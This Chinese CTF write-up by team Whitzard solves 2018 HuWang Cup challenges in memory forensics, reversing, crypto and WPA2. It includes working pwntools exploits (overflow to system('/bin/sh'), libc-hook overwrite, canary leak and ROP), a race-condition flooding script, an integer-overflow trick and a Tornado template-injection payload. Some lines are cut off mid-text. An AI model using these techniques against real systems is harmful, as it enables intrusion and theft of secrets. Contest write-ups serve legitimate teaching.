2018护网杯线上赛 Writeup by Whitzard

syang / 2018-10-14 00:07:14 / 浏览数 5773 安全技术 CTF 顶(2) 踩(0)

# HuWang2018 Whitzard

## MISC

### 签到题

脑洞题，不想去猜key，就暴力了一下：

```
import base64
res = ''
a = "AAoHAR1TIiIkUFUjUFQgVyInVSVQJVFRUSNRX1YgXiJSVyJQVRs="
a = base64.b64decode(a)
for i in range(128):
   for j in a:
       res+=chr(i^ord(j))
print res
```

### Easy dump

题目给了一个600M的镜像，是取证题
直接用volatility的imageinfo查看镜像，发现是windows内存镜像，并且可以看到版本信息

```
>>>python vol.py -f ./easy_dump.img imageinfo

Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
         Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008
                    AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                    AS Layer2 : FileAddressSpace (/home/blackmax/download/volatility/easy_dump.img)
                     PAE type : No PAE
                          DTB : 0x187000L
                         KDBG : 0xf80004006070L
         Number of Processors : 1
    Image Type (Service Pack) : 0
               KPCR for CPU 0 : 0xfffff80004007d00L
            KUSER_SHARED_DATA : 0xfffff78000000000L
          Image date and time : 2018-09-30 05:30:17 UTC+0000
    Image local date and time : 2018-09-30 13:30:17 +0800
```

volatility提供很多查看当时系统状态信息的指令，我们先用pslist查看当时的进程，发现有个explorer，notepad等常被用来出题的进程，这里只列出这些，实际还有其他一

```
0xfffffa80083f4060 notepad.exe            2952   1260      1       57      1      0 2018-09-30 05:18:25 UTC+0000
0xfffffa80083ea9f0 dllhost.exe            2740    612     10      197      1      0 2018-09-30 05:30:14 UTC+0000
0xfffffa800a1a2b30 DumpIt.exe             2256   1260      2       43      1      1 2018-09-30 05:30:16 UTC+0000
0xfffffa8009b1fb30 conhost.exe            2964    396      2       57      1      0 2018-09-30 05:30:16 UTC+0000

0xfffffa8009e03630 explorer.exe           1260   1172     34      953      1      0 2018-09-30 05:17:34 UTC
```

常见的情况会在notepad里开着一个文档藏一些和flag相关的信息，但是这题尝试查看notepad并没有发现一些有用的信息。再尝试从其他程序入手。volatility中对于windo

```
>>>python vol.py -f ./easy_dump.img --profile=Win7SP1x64 iehistory

Volatility Foundation Volatility Framework 2.6
**************************************************
Process: 1260 explorer.exe
Cache type "URL " at 0x4235000
Record length: 0x100
Location: :2018093020181001: n3k0@file:///C:/phos.jpg
Last modified: 2018-09-30 13:19:21 UTC+0000
Last accessed: 2018-09-30 05:19:21 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
**************************************************
Process: 1260 explorer.exe
```

```
Cache type "URL " at 0x4235100
Record length: 0x100
Location: :2018093020181001: n3k0@:Host: ????????
Last modified: 2018-09-30 12:43:38 UTC+0000
Last accessed: 2018-09-30 04:43:38 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
**********************************************
Process: 1260 explorer.exe
Cache type "URL " at 0x4235200
Record length: 0x100
Location: :2018093020181001: n3k0@file:///C:/phos.jpg
Last modified: 2018-09-30 13:30:14 UTC+0000
Last accessed: 2018-09-30 05:30:14 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
**********************************************
```

这里多条浏览记录都指向本地的一张叫phos.jpg的图片。说明这张图片应该有重要信息。我们接下来要想办法dump这张图片。
volatility同样有提供dump文件的插件，用filescan扫描一下文件列表，找到了这张jpg

```
0x00000000235bec20     12      0 R--r-- \Device\HarddiskVolume1\Windows\SysWOW64\kernel32.dll
0x00000000235c8770     32      0 RW---- \Device\HarddiskVolume1\phos.jpg
0x00000000235c91c0     15      1 R--r-d \Device\HarddiskVolume1\Windows\System32\en-US\KernelBase.dll.mui
0x00000000235c95b0      2      0 RW-rwd \Device\HarddiskVolume1\$Directory
```

记下偏移0x00000000235c8770，使用dumpfiles把这张图片dump出来

```
python vol.py -f ./easy_dump.img --profile=Win7SP1x64 dumpfiles -Q 0x00000000235c8770 --name -D ~/CTF/HWB
```

图片打开并没有直接显示flag相关的信息，猜测是jpg隐写，先用010editor打开发现藏了一个zip压缩包，可以手动提取也可以直接用binwalk提取这个zip。
解压之后里面有个message.img镜像，先strings一下，得到一堆数据和一个奇怪的字符串yispn!buwh_qcfd_ebo_mglzs。看起来是个加密后的flag
file message.img可以看到是linux下的filesystem
data。使用mount指令挂载之后查看里面的hint.txt文件。文件中有很多数据，第二个数几乎都是从10-269递增，然后第一位数增1，同样第一位也是从10一直增到269.但仔

```
29 190
29 191
29 192
29 193
29 194
29 195
29 196
29 197
29 208
29 209
29 210
29 211
29 212
29 224
```

根据提示，txt的数据数量大约为两个相同的数相乘，这容易联想到是个二维码，存在和不存在的数据代表二维码上的黑点和白点
脚本如下:

```
#include <iostream>
#include <bits/stdc++.h>

using namespace std;

bool mp[275][275];

int main()
{
   freopen("./hint.txt","r",stdin);
   freopen("./out2.txt","w",stdout);
   memset(mp,0,sizeof(mp));
   int x, y;
   while (scanf("%d%d",&x,&y)!= EOF){
       mp[x][y]=true;
   }
   for (int i = 0; i < 270; i++){
           for (int j = 0; j < 270; ++j){
```

```
            if (mp[i][j]){
                printf(" ");//■■■■
            }
            else printf("#");//■■■■
        }
        printf("\n");

   }
   return 0;
}
```

直接以文本形式绘出二维码，把字体调的很小之后就可以看出是二维码了。扫码得到维吉尼亚的密码aeolus，解密得到flag。

## PWN

### task_gettingStart

这题有一个overflow的漏洞，只要将v8覆盖成0.1就能执行system("/bin/sh")了查一下浮点数的表示就行了

```
if ( v7 != 0x7FFFFFFFFFFFFFFFLL || v8 != 0.1 )
 {
   puts("Try again!");
 }
 else
 {
   printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", &buf, v8);
   system("/bin/sh");
 }
```

payload如下：

```
payload=p64(0)+p64(0xa39)+p64(0)+p64(0x7fffffffffffffff)+p64(0x3FB999999999999A)
```

### cart

越界任意地址写。

```
from pwn import *
code = ELF('./task_shoppingCart', checksec=False)
context.arch = code.arch
context.log_level = 'debug'

def add(size, name):
   r.sendlineafter('buy!\n', '1')
   r.sendlineafter('?\n', str(size))
   if size > 0:
       r.sendafter('?\n', flat(name))

def fre(idx):
   r.sendlineafter('buy!\n', '2')
   r.sendlineafter('?\n', str(idx))

def edit(idx, payload):
   r.sendlineafter('buy!\n', '3')
   r.sendlineafter('?\n', str(idx))
   r.sendafter('?\n', flat(payload))

def make_money():
   r.sendlineafter('!\n', '1')
   r.sendlineafter('?\n', 'AAAAAAA')

def login():
   for i in range(20):
       make_money()
   r.sendlineafter('man!\n', '3')

def exploit(r):
   login()
   add(1000, 'qwe')
   add(1000, 'sh\x00')
```

```
    fre(0)
    add(0, '')
    r.sendlineafter('buy!\n', '3')
    r.sendlineafter('?\n', str(2))
    r.recvuntil('OK, what would you like to modify ')
    tmp = r.recvline()[:6]
    assert tmp[-1] == '\x7f'
    libc.address = u64(tmp + '\0\0') - libc.sym['__malloc_hook'] - 0x448
    info('%016x libc.address', libc.address)
    r.sendline('qwe')
    edit(-1, libc.address+0x3c3ef8)
    edit(-21, libc.sym['system'])
    fre(1)
    r.sendlineafter('$ ', 'cd /tmp')
    r.sendlineafter('$ ', 'cat << EOF > x.b64')
    r.sendline(read('./x').encode('base64'))
    r.sendline('EOF')

    r.interactive()
```

huwang（赛后）

先设置round=-1进行交互，程序会循环MD5，此时文件内容为空；另开一个再交互，MD5即为16个NULL的MD5。

name填0x19个字符即可泄漏canary，occupation也塞满，然后栈溢出。

```
from pwn import *
code = ELF('./huwang', checksec=False)
context.arch = code.arch
context.log_level = 'debug'

def exploit(r):
    name = 'A'*0x19
    r.sendlineafter('>> \n', '666')
    r.sendafter('\n', name)
    r.sendlineafter('\n', 'y')
    r.sendlineafter('\n', '1')
    r.sendafter('\n', 'J\xe7\x136\xe4K\xf9\xbfy\xd2u.#H\x18\xa5')
    r.sendafter('?', 'a'*0xff)
    r.recvuntil('AAAAAAAAAAAAAAAAAAAAAAAA')
    canary = u64('\0' + r.recv(7))
    info('%016x canary', canary)
    r.sendlineafter('[Y/N]\n', 'Y')
    pop_rdi_ret = gadget('pop rdi; ret')
    leave_ret = gadget('leave; ret')
    buf = 0x603800
    r.send(flat(
        'A'*0x108,
        canary,
        buf,
        pop_rdi_ret, code.got['read'],
        code.plt['puts'],
        make_rop([0x401550, 0x40156A], code.got['read'], [0, buf, 0x100], rbp=buf),
        leave_ret,
    ))

    r.recvline()
    tmp = r.recvline().strip() + '\0\0'
    libc.address = u64(tmp) - libc.sym['read']

    r.send(flat(
        0,
        pop_rdi_ret, libc.search('/bin/sh').next(),
        libc.sym['system'],
    ))

    r.interactive()
```

RE

RERERE

搜索字符串找到main函数，发现很多函数都是用通过一个函数表调用的。
依次查看调用的几个函数，从sub_401530函数中可以看出明显的VM特征，而之前读取的unk_404018即为VM代码。
因为VM代码较长，将每个指令的作用还原后，我们用python写了个parser来翻译：

```
import struct

p=0

def out(x):
   print str(p)+ ' '+x

s=open('vm','rb').read()
f = struct.Struct('>I')
ss=''
hashp=0
while p < len(s):
   if s[p] == 'P':
       out('reg' + str(ord(s[p+1]) >> 4) + '++')
       p += 2
   elif s[p] == 'N':
       out('reg' + str(ord(s[p+1]) >> 4) + '--')
       p += 2
   elif s[p] == 'G':
       out('reg' + str(ord(s[p+1]) >> 4) + ' ^= reg'+ str(ord(s[p+1])&0xF) )
       p += 2
   elif s[p] == 'Y':
       out('reg' + str(ord(s[p+1]) >> 4) + ' -= reg'+ str(ord(s[p+1])&0xF) )
       p += 2
   elif s[p] == 'J':
       out('reg' + str(ord(s[p+1]) >> 4) + ' &= reg'+ str(ord(s[p+1])&0xF) )
       p += 2
   elif s[p] == 'S':
       out('reg' + str(ord(s[p+1]) >> 4) + ' += reg'+ str(ord(s[p+1])&0xF) )
       p += 2
   elif s[p] == 'X':
       out('reg' + str(ord(s[p+1]) >> 4) + ' *= reg'+ str(ord(s[p+1])&0xF) )
       p += 2
   elif s[p] == 'O':
       out('mem = ' + (s[p+1:p+5]).encode('hex') )
       if((f.unpack(s[p+1:p+5])[0]) > 1000):
           ss+=(s[p+1:p+5]).encode('hex')
       p += 5
   elif s[p] == 'T':
       out('reg' + str(ord(s[p+1]) >> 4) + ' = mem')
       p += 2
   elif s[p] == 'Q':
       out('reg' + str(ord(s[p+1]) >> 4) + ' = reg'+ str(ord(s[p+1])&0xF) )
       p += 2
   elif s[p] == 'F':
       out('reg' + str(ord(s[p+1]) >> 4) + ' = hash[hashp]')
       p += 2
   elif s[p] == 'U':
       out('rep reg3 ' + str(p-ord(s[p+1])) )
       p += 2
   elif s[p] == 'H':
       out('cmp reg' + str(ord(s[p+1]) >> 4) + ' reg'+str(ord(s[p+1])&0xF) )
       p += 2
   elif s[p] == 'D':
       out('jl ' + str(p+2+ord(s[p+1])) )
       p += 2
   elif s[p] == 'M':
       out('jg ' + str(p+2+ord(s[p+1])) )
       p += 2
   elif s[p] == 'K':
       out('jz ' + str(p+2+ord(s[p+1])) )
       p += 2
   elif s[p] == 'I':
```

```
        hashp+=1
        out('hashp++')
        p += 1
    elif s[p] == 'V':
        hashp-=1
        out('hashp--')
        p += 1
    elif s[p] == 'C':
        out('exit' )
        p += 1
    else:
        out(s[p])
        p += 1
print ss[::-1].upper()
```

翻译后的结果：

```
0 mem = 47
5 rep reg3 0
7 reg3 = mem
9 reg0 = hash[hashp]
11 reg2 ^= reg2
13 cmp reg0 reg2
15 jz 68
17 hashp++
18 mem = 70
23 reg1 = mem
25 cmp reg0 reg1
27 jg 68
29 mem = 48
34 reg1 = mem
36 cmp reg0 reg1
38 jl 62
40 mem = 57
45 reg1 = mem
47 cmp reg0 reg1
49 jl 62
51 mem = 65
56 reg0 = mem
58 cmp reg0 reg1
60 jl 68
62 reg0 ^= reg0
64 cmp reg0 reg0
66 jz 73
68 reg0 ^= reg0
70 reg0++
72 exit
73 rep reg3 9
75 mem = 7
80 reg3 = mem
82 reg1 = 0
84 hashp--
85 reg0 = hash[hashp]
87 mem = 48
92 reg2 = mem
94 reg0 -= reg2
96 mem = 10
101 reg2 = mem
103 cmp reg0 reg2
105 jl 116
107 mem = 7
112 reg2 = mem
114 reg0 -= reg2
116 mem = 16
121 reg2 = mem
123 reg1 *= reg2
125 reg1 += reg0
127 rep reg3 84
129 mem = 3954878541
```

```
134 reg2 = mem
136 cmp reg1 reg2
138 reg0 ^= reg0
140 jz 145
142 reg0++
144 exit
145 mem = 7
150 reg3 = mem
152 reg1 ^= reg1
154 hashp--
155 reg0 = hash[hashp]
157 mem = 48
162 reg2 = mem
164 reg0 -= reg2
166 mem = 10
171 reg2 = mem
173 cmp reg0 reg2
175 jl 186
177 mem = 7
182 reg2 = mem
184 reg0 -= reg2
186 mem = 16
191 reg2 = mem
193 reg1 *= reg2
195 reg1 += reg0
197 rep reg3 154
199 mem = 1406938271
204 reg2 = mem
206 cmp reg1 reg2
208 reg0 ^= reg0
210 jz 215
212 reg0++
214 exit
215 mem = 7
220 reg3 = mem
222 reg1 ^= reg1
224 hashp--
225 reg0 = hash[hashp]
227 mem = 48
232 reg2 = mem
234 reg0 -= reg2
236 mem = 10
241 reg2 = mem
243 cmp reg0 reg2
245 jl 256
247 mem = 7
252 reg2 = mem
254 reg0 -= reg2
256 mem = 16
261 reg2 = mem
263 reg1 *= reg2
265 reg1 += reg0
267 rep reg3 224
269 mem = 1858824029
274 reg2 = mem
276 cmp reg1 reg2
278 reg0 ^= reg0
280 jz 285
282 reg0++
284 exit
285 mem = 7
290 reg3 = mem
292 reg1 ^= reg1
294 hashp--
295 reg0 = hash[hashp]
297 mem = 48
302 reg2 = mem
304 reg0 -= reg2
306 mem = 10
```

```
311 reg2 = mem
313 cmp reg0 reg2
315 jl 326
317 mem = 7
322 reg2 = mem
324 reg0 -= reg2
326 mem = 16
331 reg2 = mem
333 reg1 *= reg2
335 reg1 += reg0
337 rep reg3 294
339 mem = 2143952328
344 reg2 = mem
346 cmp reg1 reg2
348 reg0 ^= reg0
350 jz 355
352 reg0++
354 exit
355 mem = 7
360 reg3 = mem
362 reg1 ^= reg1
364 hashp--
365 reg0 = hash[hashp]
367 mem = 48
372 reg2 = mem
374 reg0 -= reg2
376 mem = 10
381 reg2 = mem
383 cmp reg0 reg2
385 jl 396
387 mem = 7
392 reg2 = mem
394 reg0 -= reg2
396 mem = 16
401 reg2 = mem
403 reg1 *= reg2
405 reg1 += reg0
407 rep reg3 364
409 mem = 2386147433
414 reg2 = mem
416 cmp reg1 reg2
418 reg0 ^= reg0
420 jz 425
422 reg0++
424 exit
425 mem = 7
430 reg3 = mem
432 reg1 ^= reg1
434 hashp--
435 reg0 = hash[hashp]
437 mem = 48
442 reg2 = mem
444 reg0 -= reg2
446 mem = 10
451 reg2 = mem
453 cmp reg0 reg2
455 jl 466
457 mem = 7
462 reg2 = mem
464 reg0 -= reg2
466 mem = 16
471 reg2 = mem
473 reg1 *= reg2
475 reg1 += reg0
477 rep reg3 434
479 mem = 2597864506
484 reg2 = mem
486 cmp reg1 reg2
488 reg0 ^= reg0
```

```
490 jz 494
492 reg0++
494 exit
```

开始的一段代码判断了hash的字符在数字和大写字母'A'-'F'内。
然后后面有四段非常相似的代码，每段代码均从hash的结尾开始取8个十六进制字符，转为十进制，最后与一个4字节的int进行比较。
将这四个用来比较的int拿出来，反向连接起来即可得到flag。

附上vm中用到的struct：

```
00000000 obj             struc ; (sizeof=0x28, mappedto_35)
00000000 func_p          dd ?
00000004 reg0            dd ?
00000008 reg1            dd ?
0000000C reg2            dd ?
00000010 reg3            dd ?                    ; offset
00000014 reg4            dd ?
00000018 hash            dd ?                    ; offset
0000001C field_1C        dd ?
00000020 mem             dd ?                    ; offset
00000024 vmcode          dd ?                    ; offset
00000028 obj             ends
```

## CRYPTO

### fez

fez的本质就是一些异或操作，虽然不知道密钥，但是我们有两段密文和其中的一段明文，密文与密文异或可以消去密钥，再异或明文就可以得到另一段明文
具体脚本如下

```
import os
def xor(a,b):
   assert len(a)==len(b)
   c=""
   for i in range(len(a)):
       c+=chr(ord(a[i])^ord(b[i]))
   return c
def f(x,k):
   return xor(xor(x,k),7)
def round(M,K):
   L=M[0:27]
   R=M[27:54]
   new_l=R
   new_r=xor(xor(R,L),K)
   return new_l+new_r

def deround(M,K):
   L=M[0:27]
   R=M[27:54]
   new_l=L
   new_r=xor(xor(R,L),K)
   return new_r+new_l
def fez(m,K):
   for i in K:
       m=round(m,i)
   return m
def defez(m,K):
   for i in reversed(K):
       m=deround(m,i)
   return m
K=[]
for i in range(7):
   K.append(os.urandom(27))
m=open("flag","rb").read()
assert len(m)<54
m+=os.urandom(54-len(m))

test=os.urandom(54)
print test.encode("hex")
print fez(test,K).encode("hex")
```

```
print fez(m,K).encode("hex")


test="6e8a78be3a7c92f74db065a6a18cc659de4278f24af163c435853c06d2a0adeb49859c78dccdf8c85e5ed8cda7e22d6f098e6b1e4142"
a1="944360ff8ecd3a4d66b27dfcf7d9c1b5d22f53a9eb84edd29d2a4cc851abea669afaef060b5d1241338f92546a97d1d7ce00fa7b5e3e"
a2="a0a9f3660de9c2e347a141054548088827c481868b86473fc590aaf45d21aaa4a4f5c51ecd6812254be19d20f50b3aa24fa0bc7316dc"
a1=a1.decode("hex")
a2=a2.decode("hex")
test=test.decode("hex")
ss=xor(xor(a1[:27],a2[:27]),test[27:])
st=xor(xor(xor(xor(a1[27:],a2[27:]),test[27:]),test[:27]),ss)
print st+ss
```

## WPA2

是一个WPA2协议的题目
WPA2采用的是CMMP加密
题目给出了psk，mac和nounce根据这些信息我们可以得到加密的密钥。
后来主办方又给出了源代码，通过阅读代码，我们可以了解到跟多关于加密的细节。根据代码我们可以先进行解包，从网络包中得到真正的密文部分，然后用密钥进行解密即
代码如下：

```
from WPA2 import *


def DecryptCCMP(indata,TK):

   if len(TK) != 16:
       return None
   is_a4 = 0
   is_qos = 1

   z = 24 + 6 * (1 if is_a4 else 0)
   z += 2 * (1 if is_qos else 0)

   inputpkt=indata.decode("hex")[:34]
   PN=inputpkt[-8:-6]+inputpkt[-4:]
   PN=PN[::-1]
   data_len=33
   B0 = ''
   B0 += '\x59'
   B0 += '\x00'
   B0 += inputpkt[10:16]
   B0 += PN
   B0 += chr((data_len >> 8) & 0xFF)
   B0 += chr(data_len & 0xFF)

   AAD = '\x00' * 2  # [0] [1]

   AAD += chr(ord(inputpkt[0]) & 0x8F)  # [2]
   AAD += chr(ord(inputpkt[1]) & 0xC7)  # [3]
   AAD += inputpkt[4:4 + 3 * 6]  # [4]..[21]
   AAD += chr(ord(inputpkt[22]) & 0x0F)  # [22]

   AAD += '\x00'  # [23]

   if (is_a4):
       AAD += inputpkt[24:24 + 6]  # [24]..[29]
       if (is_qos):
           AAD += chr(ord(inputpkt[z - 2]) & 0x0F)  # [30]
           AAD += '\x00'  # [31]
           tmp = list(B0)
           tmp[1] = AAD[30]
           B0 = ''.join(tmp)
           tmp = list(AAD)
           tmp[1] = chr(22 + 2 + 6)
           AAD = ''.join(tmp)
       else:
           AAD += '\x00' * 2  # [30]..[31]
           tmp = list(B0)
```

```
            tmp[1] = '\x00'
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22 + 6)
            AAD = ''.join(tmp)
    else:
        if (is_qos):
            AAD += chr(ord(inputpkt[z - 2]) & 0x0F)  # [24]
            AAD += '\x00'  # [25]
            tmp = list(B0)
            tmp[1] = AAD[24]
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22 + 2)
            AAD = ''.join(tmp)
        else:
            AAD += '\x00' * 2  # [24]..[25]
            tmp = list(B0)
            tmp[1] = '\x00'
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22)
            AAD = ''.join(tmp)
    AAD += '\x00' * 6
    cipher = AES.new(TK, AES.MODE_ECB)
    MIC = cipher.encrypt(B0)
    MIC = XOR(MIC, AAD, 16)
    MIC = cipher.encrypt(MIC)
    MIC = XOR(MIC, AAD[16:], 16)
    MIC = cipher.encrypt(MIC)

    tmp = list(B0)
    tmp[0] = chr(ord(tmp[0]) & 0x07)
    tmp[14] = '\x00'
    tmp[15] = '\x00'
    B0 = ''.join(tmp)

    B = cipher.encrypt(B0)
    initMIC = B
    offset =34
    blocks = 3
    last = 1
    print "TK"
    print repr(TK)

    print "B0"
    print repr(B0)
    decryptedPacket = indata.decode("hex")
    plain=""
    for i in range(1, blocks + 1):
        n = last if (last > 0 and i == blocks) else 16


        tmp = list(B0)
        tmp[14] = chr((i >> 8) & 0xFF)
        tmp[15] = chr(i & 0xFF)
        B0 = ''.join(tmp)
        B = cipher.encrypt(B0)
        print repr(B)
        out = XOR(decryptedPacket[offset:offset + n], B, n)
        plain += out

        offset += n

    return plain
ssid="HuWang"
psk="HSrObIZmBx6inYc2"
aNonce="482d8d5f601ca1b671ab9cbdc30ad998b880168ccb3c26d6d7ed3cfc8149045a".decode("hex")
sNonce="4fbbb10c26f7376867f29db85c189ae2c7b0e4023f5af3e9a73cae9c97b46cb1".decode("hex")
```

```
apMac="47:C4:47:16:E8:7D"
staMac="7F:57:0A:12:66:5B"
apMac=apMac.replace(":","").lower().decode("hex")
staMac=staMac.replace(":","").lower().decode("hex")
A,B = MakeAB(aNonce,sNonce,apMac,staMac)

ptk,pmk = MakeKeys(psk,ssid,A,B)

key = ptk[-16:]
cipher="88423a017f570a12665b47c44716e87d47c44716e87d609200005f85002096000000a6690951247f1faacc65af2069bf567a78c2aac8423d351a72
print DecryptCCMP(cipher,key)
```

其中CMMP的相关代码：

```
#!/usr/bin/env python

import hmac
from hashlib import pbkdf2_hmac,sha1,md5
from Crypto.Cipher import AES
import string
import random
import struct

def PRF(key,A,B):
   nByte = 48
   i = 0
   R = ''

   while ( i <= ((nByte*8 + 159)/160)):
       hmacsha1 = hmac.new(key,A+"\x00" + B + chr(i),sha1)
       R += hmacsha1.digest()
       i += 1
   return R[0:nByte]

def MakeAB(aNonce,sNonce,apMac,cliMac):
   A = "Pairwise key expansion"
   B = min(apMac,cliMac) + max(apMac,cliMac) + min(aNonce, sNonce) + max(aNonce, sNonce)
   return (A,B)

def MakeKeys(pwd,ssid,A,B):
   pmk = pbkdf2_hmac('sha1',pwd,ssid,4096,32)

   ptk = PRF(pmk,A,B)

   return (ptk,pmk)
def XOR(b1,b2,l):
   if (len(b1)<l or len(b2)<l):
       return None
   res = ''
   for i in range(l):
       res += chr(ord(b1[i]) ^ ord(b2[i]))
   if (len(b1)>l):
       res += b1[l:]
   return res

def EncryptCCMP(indata,TK,PN):
   if len(TK) != 16 or len(PN) != 6:
       return None
   is_a4 = (ord(indata[1]) & 0x03) == 3
   is_qos = (ord(indata[0]) & 0x8c) == 0x88

   z = 24 + 6 * (1 if is_a4 else 0)
   z += 2 * (1 if is_qos else 0)

   h80211 = list(indata)

   h80211[z + 0] = PN[5]
   h80211[z + 1] = PN[4]
```

```
h80211[z + 2] = '\x00'
h80211[z + 3] = '\x20'
h80211[z + 4] = PN[3]
h80211[z + 5] = PN[2]
h80211[z + 6] = PN[1]
h80211[z + 7] = PN[0]

inputpkt = ''.join(h80211)
data_len=33
B0 = ''
B0 += '\x59'
B0 += '\x00'
B0 += inputpkt[10:16]
B0 += PN
B0 += chr((data_len >> 8) & 0xFF)
B0 += chr(data_len & 0xFF)

AAD = '\x00' * 2  # [0] [1]

AAD += chr(ord(inputpkt[0]) & 0x8F)  # [2]
AAD += chr(ord(inputpkt[1]) & 0xC7)  # [3]
AAD += inputpkt[4:4 + 3 * 6]  # [4]..[21]
AAD += chr(ord(inputpkt[22]) & 0x0F)  # [22]

AAD += '\x00'  # [23]

if (is_a4):
    AAD += inputpkt[24:24 + 6]  # [24]..[29]
    if (is_qos):
        AAD += chr(ord(inputpkt[z - 2]) & 0x0F)  # [30]
        AAD += '\x00'  # [31]
        tmp = list(B0)
        tmp[1] = AAD[30]
        B0 = ''.join(tmp)
        tmp = list(AAD)
        tmp[1] = chr(22 + 2 + 6)
        AAD = ''.join(tmp)
    else:
        AAD += '\x00' * 2  # [30]..[31]
        tmp = list(B0)
        tmp[1] = '\x00'
        B0 = ''.join(tmp)
        tmp = list(AAD)
        tmp[1] = chr(22 + 6)
        AAD = ''.join(tmp)
else:
    if (is_qos):
        AAD += chr(ord(inputpkt[z - 2]) & 0x0F)  # [24]
        AAD += '\x00'  # [25]
        tmp = list(B0)
        tmp[1] = AAD[24]
        B0 = ''.join(tmp)
        tmp = list(AAD)
        tmp[1] = chr(22 + 2)
        AAD = ''.join(tmp)
    else:
        AAD += '\x00' * 2  # [24]..[25]
        tmp = list(B0)
        tmp[1] = '\x00'
        B0 = ''.join(tmp)
        tmp = list(AAD)
        tmp[1] = chr(22)
        AAD = ''.join(tmp)
    AAD += '\x00' * 6
cipher = AES.new(TK, AES.MODE_ECB)
MIC = cipher.encrypt(B0)
MIC = XOR(MIC, AAD, 16)
MIC = cipher.encrypt(MIC)
MIC = XOR(MIC, AAD[16:], 16)
```

```
    MIC = cipher.encrypt(MIC)

    tmp = list(B0)
    tmp[0] = chr(ord(tmp[0]) & 0x07)
    tmp[14] = '\x00'
    tmp[15] = '\x00'
    B0 = ''.join(tmp)

    B = cipher.encrypt(B0)
    initMIC = B

    blocks = (data_len + 16 - 1) / 16
    last = data_len % 16
    offset = z + 8

    encryptedPacket = ''
    print offset
    print last
    print blocks
    for i in range(1, blocks + 1):
        n = last if (last > 0 and i == blocks) else 16
        MIC = XOR(MIC,inputpkt[offset:offset+n],n)
        MIC = cipher.encrypt(MIC)
        tmp = list(B0)
        tmp[14] = chr((i >> 8) & 0xFF)
        tmp[15] = chr(i & 0xFF)
        B0 = ''.join(tmp)
        B = cipher.encrypt(B0)
        out = XOR(inputpkt[offset:offset + n], B, n)
        encryptedPacket += out


        offset += n
    print len(encryptedPacket)
    encryptedPacket = inputpkt[:z+8] + encryptedPacket
    encryptedPacket += XOR(initMIC,MIC,8)[:8]

    return encryptedPacket

if __name__=="__main__":

    print "Welcome to HuWang Bei WPA2 Simulation System.. Initilizing Parameters.."
    print ""

    ssid = "HuWang"

    psk = ''.join(random.choice(string.ascii_uppercase+ string.ascii_lowercase + string.digits) for _ in range(16))
    rnddev = open("/dev/urandom","rb")

    aNonce = rnddev.read(32)

    sNonce = rnddev.read(32)

    apMac = rnddev.read(6)

    staMac = rnddev.read(6)

    rnddev.close()

    print "SSID = "+ssid
    print ""

    print "PSK = "+psk
    print ""

    outmac=apMac.encode('hex').upper()
    macaddr = ''
    for i in range(len(outmac)):
        macaddr += outmac[i]
```

```
        if (i%2!=0 and i<len(outmac)-1):
            macaddr+=':'
    print "AP_MAC = "+macaddr
    print ""

    print "AP_Nonce = "+aNonce.encode('hex')
    print ""

    outmac=staMac.encode('hex').upper()
    macaddr = ''
    for i in range(len(outmac)):
        macaddr += outmac[i]
        if (i%2!=0 and i<len(outmac)-1):
            macaddr+=':'

    print "STA_MAC = "+macaddr
    print ""

    print "STA_Nonce = "+sNonce.encode('hex')
    print ""

    A,B = MakeAB(aNonce,sNonce,apMac,staMac)

    ptk,pmk = MakeKeys(psk,ssid,A,B)

    key = ptk[-16:]

    #chlvalue = ''.join(random.choice(string.ascii_uppercase+ string.ascii_lowercase + string.digits) for _ in range(16))
    chlvalue="a"*16
    challenge = "Challenge Vlaue: "+chlvalue


    datapkt = ("88423a01"+staMac.encode('hex')+apMac.encode('hex')+apMac.encode('hex')+"60920000"+"0000002000000000"+challenge.

    packetNumber = struct.pack(">Q",random.randint(1,9999999))[2:]
    print repr(datapkt)
    print repr(key)
    print repr(packetNumber)
    outtoUser = EncryptCCMP(datapkt,key,packetNumber)
    print repr(outtoUser)
    print "CCMP Encrypted Packet = "+outtoUser.encode("hex")
    print ""
    exit()

    userinput = raw_input("Input decrypted challenge value in Packet:")
    print ""
    if (userinput == chlvalue):
        f = open("flag","r")
        content = f.read()
        f.close()
        print "Congratulations!Your flag is: "+content
    else:
        print "Wrong!"
```

## WEB

### LTSHOP

本题的考点在于条件竞争以及整数的溢出问题

通过多线程发包的方式使得购买到 5 个以上的大辣条

```
import requests
import threading

url = "http://49.4.79.236:30189/"

s = requests.Session()
```

```
def post(querystring):
   headers = {
       'Cookie': "go_iris_cookie=93542bfe-f8e2-4e4e-ba4c-1b0c5c739342;",
       'Content-Type': "application/x-www-form-urlencoded"
   }
   response = s.post(url+querystring, headers=headers)
   print(response.text)

def main():
   l = []
   for i in range(1000):
       l.append(threading.Thread(target=post, args=('buylt',)))
   for t in l:
       t.start()
   for t in l:
       t.join()

if __name__ == '__main__':
   main()
```

此时我们可以得到超过 5 个以上的大辣条，但远远买不到足够的辣条之王

此时我们观察到我们可以控制批量购买的数量，不同数量的反馈是不同的，比如我购买 2 个，提醒的是大辣条数量不足，而购买 -1 个或者 99999999999999999999 则是数量非法，所以我们可以猜测题目使用 uint64 作为变量的类型。

可以推测题目的逻辑如下：

```
var num uint
if num * 5 <= ■■■■■ {
   ■■■■ += num
}
```

很明显存在着乘法上溢问题，如果我们构造 `num = 3689348814741910324`，经过测试可得 `num * 5 = 4`，`4 <= 5` 成立

```
i = 2**64 // 5 + 1 # 3689348814741910324
j = i * 5 % 2 ** 64 # 4
```

所以我们即可利用 4 个大辣条买到近乎无限的辣条之王（具体为 3689348814741910324 个），即可顺利购买 flag

## easy tornado

进入题目

```
http://49.4.78.81:30980/
```

发现意思很明确，有签名，读文件
发现

```
http://49.4.78.81:30980/error?msg={{1^0}}
```

可模板注入，但过滤了非常多的符号，应该只能读个变量
发现`handler.settings`存放了cookie_secret
读取

```
http://49.4.78.81:30980/error?msg={{handler.settings}}
```

随机构造签名读flag

```
